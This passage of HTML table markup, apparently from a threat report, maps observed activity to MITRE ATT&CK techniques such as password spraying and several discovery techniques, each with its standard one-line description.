font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="808584232" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{205}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1110.003 Brute Force: Password spraying</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="165039871" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{212}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may use a single or small list of commonly used passwords against many different accounts to </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">attempt</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">acquire</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> valid account credentials.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="24" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1972465279" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{220}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Discovery (</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">TA0007</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">)</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1732839252" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{231}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1018 Remote System Discovery</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="2007699924" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{238}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">attempt</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="25" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="2136587388" paraeid="{2ec24d3b-a74d-44a4-af33-3e731507172f}{99}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="240269641" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{247}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1083 File and Directory Discovery&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="57435024" paraeid="{42c4b488-20d8-40a0-a604-b288b56a5928}{254}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">enumerate</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> files and directories or may search in specific locations of a host or network </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">share</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> for certain information within a file system.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="26" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="1845494668" paraeid="{2ec24d3b-a74d-44a4-af33-3e731507172f}{102}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="738680108" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{8}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1087 Account Discovery&#xA0;&#xA0;</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="831401705" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{15}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">Adversaries may </span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">attempt</span><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"> to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment.</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td></tr><tr class="TableRow SCXW158619120 BCX4" role="row" aria-rowindex="27" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; height: 19px;"><td class="FirstCol SCXW158619120 BCX4" role="rowheader" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 192px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" lang="EN-US" paraid="25811834" paraeid="{2ec24d3b-a74d-44a4-af33-3e731507172f}{105}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="auto" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;"></span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td data-celllook="4369" class="SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 171px;"><div class="TableCellContent SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible;"><div class="OutlineElement Ltr SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; clear: both; cursor: text; overflow: visible; position: relative; direction: ltr;"><p class="Paragraph SCXW158619120 BCX4" paraid="1064069499" paraeid="{2dd01702-ce4d-4fea-84d1-02698cebad6e}{24}" style="-webkit-user-drag: none; margin: 0px 0px 10.666667px; padding: 0px; -webkit-user-select: text; overflow-wrap: break-word; font-weight: normal; font-style: normal; vertical-align: baseline; background-color: transparent; color: windowtext; text-align: left; text-indent: 0px; -webkit-nbsp-mode: normal !important;"><span data-contrast="none" xml:lang="EN-US" lang="EN-US" class="TextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; color: rgb(0, 0, 0); background-color: transparent; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; font-variant-ligatures: none !important; -webkit-nbsp-mode: normal !important;"><span class="NormalTextRun SCXW158619120 BCX4" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; -webkit-nbsp-mode: normal !important;">T1082 System Information Discovery</span></span><span class="EOP SCXW158619120 BCX4" data-ccp-props="{}" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; font-size: 11pt; line-height: 19.691667px; font-family: Calibri, Calibri_EmbeddedFont, Calibri_MSCustomFont, Calibri_MSFontService, sans-serif; color: rgb(0, 0, 0); -webkit-nbsp-mode: normal !important;">&#xA0;</span></p></div></div></td><td class="LastCol SCXW158619120 BCX4" data-celllook="4369" style="-webkit-user-drag: none; margin: 0px; padding: 0px; -webkit-user-select: text; overflow: visible; vertical-align: top; position: relative; background-color: var(--clrEnhancedPageBackground); background-clip: padding-box; border: 1px solid rgb(0, 0, 0); width: 268px;"><div 